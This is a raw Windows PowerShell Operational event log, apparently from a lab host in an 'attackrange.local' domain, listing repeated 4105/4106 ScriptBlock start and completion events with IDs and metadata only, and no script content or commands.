SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028343
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028341
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028340
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028324
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028323
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028318
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028317
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
